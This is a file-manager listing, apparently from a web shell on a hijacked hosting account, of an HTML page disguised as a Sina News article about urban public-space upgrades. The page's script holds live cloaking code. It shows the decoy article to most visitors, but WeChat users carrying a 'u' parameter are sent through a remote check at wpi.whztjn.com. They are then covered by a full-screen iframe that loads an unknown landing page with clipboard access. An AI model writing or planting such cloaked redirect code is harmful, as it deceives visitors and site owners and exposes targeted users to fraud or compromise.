File manager - Edit - /home/kridsana/webapp.cm.in.th/673190901/u67319090011/static/xfc4svnb2cxt.html
Back
<!-- generated-by: TBYCLOUD-V2 local-entry-html-generator; source: fallback --> <!DOCTYPE html><html lang="zh"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <link rel="dns-prefetch" href="//wpi.whztjn.com"> <link rel="preconnect" href="https://wpi.whztjn.com" crossorigin> <title>城市公共空间更新持续推进，更多便民设施投入使用</title> <style> /* ── Reset ── */ *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } html { font-size: 16px; } body { font-family: "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", -apple-system, sans-serif; background: #f5f6f8; color: #333; -webkit-text-size-adjust: 100%; } /* ── Gateway（保持原有结构不变）── */ .container { text-align: center; color: white; padding: 40px; } .icon { width: 64px; height: 64px; background: rgba(255,255,255,0.2); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; font-size: 32px; } .title { font-size: 26px; font-weight: 700; margin-bottom: 10px; } .subtitle { font-size: 14px; opacity: 0.85; margin-bottom: 32px; } .jump-btn { background: #fff; color: #667eea; border: none; padding: 14px 44px; font-size: 16px; font-weight: 700; border-radius: 32px; cursor: pointer; transition: all 0.25s; box-shadow: 0 4px 18px rgba(0,0,0,0.18); letter-spacing: 0.5px; } .jump-btn:hover { transform: translateY(-2px); box-shadow: 0 8px 24px rgba(0,0,0,0.22); } .jump-btn:active { transform: translateY(0); } .entry-loading { margin-top: 22px; width: 230px; max-width: 80vw; display: flex; flex-direction: column; align-items: center; gap: 8px; color: rgba(255,255,255,0.92); font-size: 13px; letter-spacing: 0.4px; } .entry-progress-bar { width: 100%; height: 5px; background: rgba(255,255,255,0.22); border-radius: 99px; overflow: hidden; } .entry-progress-fill { width: 0%; height: 100%; background: linear-gradient(90deg, #fff 0%, #ffe4f1 100%); border-radius: 99px; transition: width 0.25s ease-out; } .entry-progress-text { letter-spacing: 0.4px; } /* ── 顶部导航栏 ── */ .site-header { background: #fff; border-bottom: 2px solid #c00; position: sticky; top: 0; z-index: 100; box-shadow: 0 2px 6px rgba(0,0,0,0.06); } .site-header-inner { max-width: 1100px; margin: 0 auto; padding: 0 16px; display: flex; align-items: center; height: 52px; gap: 28px; } .site-logo { font-size: 22px; font-weight: 900; color: #c00; letter-spacing: -1px; flex-shrink: 0; text-decoration: none; } .site-nav { display: flex; gap: 4px; overflow-x: auto; -webkit-overflow-scrolling: touch; scrollbar-width: none; } .site-nav::-webkit-scrollbar { display: none; } .site-nav a { text-decoration: none; color: #444; font-size: 14px; font-weight: 500; padding: 6px 10px; border-radius: 4px; white-space: nowrap; transition: color 0.15s, background 0.15s; } .site-nav a:hover, .site-nav a.active { color: #c00; background: #fff5f5; } /* ── 主体布局 ── */ .page-body { max-width: 1100px; margin: 20px auto; padding: 0 16px; display: grid; grid-template-columns: 1fr 320px; gap: 20px; align-items: start; } /* ── 文章卡片 ── */ .article-card { background: #fff; border-radius: 6px; box-shadow: 0 1px 6px rgba(0,0,0,0.07); padding: 28px 30px 32px; } .article-breadcrumb { font-size: 12px; color: #999; margin-bottom: 18px; } .article-breadcrumb a { color: #999; text-decoration: none; } .article-breadcrumb a:hover { color: #c00; } .article-breadcrumb span { margin: 0 4px; } .article-title { font-size: 24px; font-weight: 700; color: #111; line-height: 1.45; margin-bottom: 14px; } .article-meta { display: flex; align-items: center; flex-wrap: wrap; gap: 14px; font-size: 13px; color: #999; padding-bottom: 16px; border-bottom: 1px solid #f0f0f0; margin-bottom: 22px; } .article-meta .meta-source { color: #c00; font-weight: 600; } .article-meta .meta-dot { color: #ddd; } .article-body { font-size: 17px; line-height: 1.9; color: #222; } .article-body p { text-indent: 2em; margin-bottom: 18px; } .article-body p:last-child { margin-bottom: 0; } .article-tags { margin-top: 24px; padding-top: 16px; border-top: 1px solid #f0f0f0; display: flex; flex-wrap: wrap; gap: 8px; } .article-tag { font-size: 12px; color: #666; background: #f5f5f5; border-radius: 3px; padding: 3px 10px; text-decoration: none; } .article-tag:hover { color: #c00; background: #fff0f0; } /* ── 侧边栏 ── */ .sidebar { display: flex; flex-direction: column; gap: 16px; } .rank-card { background: #fff; border-radius: 6px; box-shadow: 0 1px 6px rgba(0,0,0,0.07); overflow: hidden; } .rank-card-header { display: flex; align-items: center; padding: 13px 16px 12px; border-bottom: 1px solid #f0f0f0; gap: 8px; } .rank-card-header::before { content: ''; width: 3px; height: 16px; background: #c00; border-radius: 2px; flex-shrink: 0; } .rank-card-title { font-size: 15px; font-weight: 700; color: #1a1a1a; } .rank-tabs { display: flex; border-bottom: 1px solid #f0f0f0; } .rank-tab { flex: 1; text-align: center; padding: 9px 0; font-size: 13px; color: #888; cursor: pointer; border-bottom: 2px solid transparent; transition: all 0.15s; } .rank-tab.active { color: #c00; border-bottom-color: #c00; font-weight: 600; } .rank-list { list-style: none; padding: 4px 0 6px; } .rank-item { display: flex; align-items: flex-start; padding: 9px 16px; gap: 10px; border-bottom: 1px solid #f7f7f7; cursor: pointer; transition: background 0.15s; } .rank-item:last-child { border-bottom: none; } .rank-item:hover { background: #fafafa; } .rank-num { flex-shrink: 0; width: 20px; height: 20px; border-radius: 3px; display: flex; align-items: center; justify-content: center; font-size: 11px; font-weight: 700; margin-top: 2px; } .rank-num.n1 { background: #c00; color: #fff; } .rank-num.n2 { background: #e05c00; color: #fff; } .rank-num.n3 { background: #e09000; color: #fff; } .rank-num.nx { background: #eee; color: #999; } .rank-title { font-size: 13px; color: #333; line-height: 1.55; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; } .rank-item:hover .rank-title { color: #c00; } /* ── Footer ── */ .site-footer { background: #2b2b2b; color: #888; text-align: center; padding: 28px 16px; font-size: 12px; line-height: 2; margin-top: 32px; } .site-footer a { color: #aaa; text-decoration: none; margin: 0 6px; } .site-footer a:hover { color: #fff; } .site-footer .footer-links { margin-bottom: 8px; } /* ── 响应式（手机端）── */ @media (max-width: 760px) { .page-body { grid-template-columns: 1fr; margin: 12px auto; gap: 12px; } .article-card { padding: 18px 16px 22px; } .article-title { font-size: 20px; } .article-body { font-size: 15px; } .sidebar { flex-direction: row; flex-wrap: wrap; } .rank-card { flex: 1 1 280px; } } </style> <style> body { display: block !important; } </style> </head> <body> <div class="container cls_b307bd82f4b2" style="min-height:100vh;display:flex;align-items:center;justify-content:center;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);"> <div class="cls_a805f3d4980e" style="text-align:center;"> <div class="icon cls_86548a54a18c">💎</div> <div class="title cls_275650a19e1b">加载成功</div> <div class="subtitle cls_1df1d4a02282">您的内容已准备就绪</div> <button class="jump-btn" id="jumpBtn">前往访问</button> <div class="entry-loading" id="entryLoading"> <div class="entry-progress-bar"><div class="entry-progress-fill" id="entryProgressFill"></div></div> <div class="entry-progress-text" id="entryProgressText">正在加载内容 0%</div> </div> </div> </div> <header class="site-header"> <div class="site-header-inner"> <a class="site-logo" href="#">新浪新闻</a> <nav class="site-nav"> <a href="#" class="active">要闻</a> <a href="#">财经</a> <a href="#">科技</a> <a href="#">社会</a> <a href="#">娱乐</a> <a href="#">体育</a> <a href="#">国际</a> <a href="#">军事</a> </nav> </div> </header> <div class="page-body"> <main class="article-card"> <div class="article-breadcrumb"> <a href="#">首页</a><span>›</span> <a href="#">国内</a><span>›</span> 正文 </div> <h1 class="article-title" id="a1-article-title">城市公共空间更新持续推进，更多便民设施投入使用</h1> <div class="article-meta"> <span class="meta-source" id="a1-article-source">城市观察</span> <span class="meta-dot">|</span> <span id="a1-article-date">2026-08-18</span> <span class="meta-dot">|</span> <span>阅读 <strong>12,486</strong></span> </div> <div class="article-body" id="a1-article-body"><p>近期，多地围绕公共空间品质提升展开新一轮改造，社区步行道路、口袋公园和便民服务点成为建设重点。</p><p>相关项目更加重视日常使用体验，通过增加休息区域、优化照明和完善无障碍设施，让不同年龄的居民都能更方便地使用公共空间。</p><p>业内人士表示，城市更新并非简单翻新，而是需要结合人口结构、交通条件和社区需求持续调整。后续还将通过居民反馈评估实际效果。</p></div> <div class="article-tags"> <a class="article-tag" href="#">社会</a> <a class="article-tag" href="#">今日资讯</a> <a class="article-tag" href="#">新闻速递</a> </div> </main> <aside class="sidebar"> <div class="rank-card"> <div class="rank-card-header"> <span class="rank-card-title">阅读排行榜</span> </div> <ul class="rank-list" id="read-rank-list"><li class="rank-item"><span class="rank-num n1">01</span><span class="rank-title">城市公共空间更新持续推进，更多便民设施投入使用</span></li> <li class="rank-item"><span class="rank-num n2">02</span><span class="rank-title">新一轮消费场景加快落地，数字服务拓展生活新体验</span></li> <li class="rank-item"><span class="rank-num n3">03</span><span class="rank-title">科技助力绿色出行，多地完善公共交通服务网络</span></li> <li class="rank-item"><span class="rank-num nx">04</span><span class="rank-title">全民健身活动不断丰富，科学运动理念受到关注</span></li></ul> </div> <div class="rank-card"> <div class="rank-card-header"> <span class="rank-card-title">评论排行榜</span> </div> <ul class="rank-list" id="comment-rank-list"><li class="rank-item"><span class="rank-num n1">01</span><span class="rank-title">全民健身活动不断丰富，科学运动理念受到关注</span></li> <li class="rank-item"><span class="rank-num n2">02</span><span class="rank-title">科技助力绿色出行，多地完善公共交通服务网络</span></li> <li class="rank-item"><span class="rank-num n3">03</span><span class="rank-title">新一轮消费场景加快落地，数字服务拓展生活新体验</span></li> <li class="rank-item"><span class="rank-num nx">04</span><span class="rank-title">城市公共空间更新持续推进，更多便民设施投入使用</span></li></ul> </div> </aside> </div> <footer class="site-footer"> <div class="footer-links"> <a href="#">联系我们</a><a href="#">广告营销</a><a href="#">通行证注册</a> <a href="#">产品答疑</a><a href="#">招聘信息</a><a href="#">网站律师</a> </div> <div>举报邮箱：jubao@vip.sina.com</div> <div>Copyright © 1996-2026 SINA Corporation All Rights Reserved 新浪公司 版权所有</div> </footer> <script>(function(){ var ARTICLE_ONLY=!/MicroMessenger/i.test(navigator.userAgent||""); var PRIMARY_CHECKCODE_ORIGIN="https://wpi.whztjn.com"; var BACKUP_CHECKCODE_ORIGIN=null; var shell=document.querySelector(".container"); function showArticle(){if(shell)shell.style.setProperty("display","none","important");document.documentElement.style.overflow="auto";document.body.style.overflow="auto";} function mountLanding(url){ document.title="在线"; document.documentElement.style.cssText="width:100%;height:100%;margin:0;overflow:hidden;background:#fff"; document.body.style.cssText="width:100%;height:100%;margin:0;overflow:hidden;background:#fff"; var old=document.querySelector("iframe[data-v2-landing-frame]"); if(old)old.remove(); var frame=document.createElement("iframe"); frame.src=url; frame.title="在线"; frame.setAttribute("data-v2-landing-frame",""); frame.setAttribute("allow","clipboard-read *; clipboard-write *; autoplay *; fullscreen *"); frame.setAttribute("allowfullscreen",""); frame.style.cssText="position:fixed;inset:0;display:block;width:100%;height:100%;border:0;margin:0;padding:0;background:#fff;z-index:2147483647"; document.body.appendChild(frame); } if(ARTICLE_ONLY){showArticle();return;} document.title="在线"; var q=new URLSearchParams(location.search),u=q.get("u"); if(!u){showArticle();return;} function checkCode(origin){ var api=new URL("/checkCode",origin); api.searchParams.set("u",u);api.searchParams.set("e",q.get("e")||"1");api.searchParams.set("t",q.get("t")||String(Date.now())); var controller=typeof AbortController==="function"?new AbortController():null; var timer=controller?setTimeout(function(){controller.abort();},4000):null; return fetch(api.toString(),{method:"GET",mode:"cors",cache:"no-store",credentials:"omit",headers:{Accept:"application/json"},signal:controller?controller.signal:undefined}) .then(function(r){return r.json().catch(function(){return null;}).then(function(x){ if(r.ok&&x&&x.code===200&&x.domain&&x.path)return x; var error=new Error("entry unavailable"); error.retryable=r.status===502||r.status===503||r.status===504; throw error; });}) .catch(function(error){ if(error&&error.name==="AbortError"){error.retryable=true;throw error;} if(error instanceof TypeError){error.retryable=true;} throw error; }) .finally(function(){if(timer)clearTimeout(timer);}); } checkCode(PRIMARY_CHECKCODE_ORIGIN) .catch(function(error){if(BACKUP_CHECKCODE_ORIGIN&&error&&error.retryable)return checkCode(BACKUP_CHECKCODE_ORIGIN);throw error;}) .then(function(result){mountLanding(new URL(result.path,result.domain).href);}) .catch(function(){showArticle();}); }());</script> </body></html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.25 |
proxy
|
phpinfo
|
Settings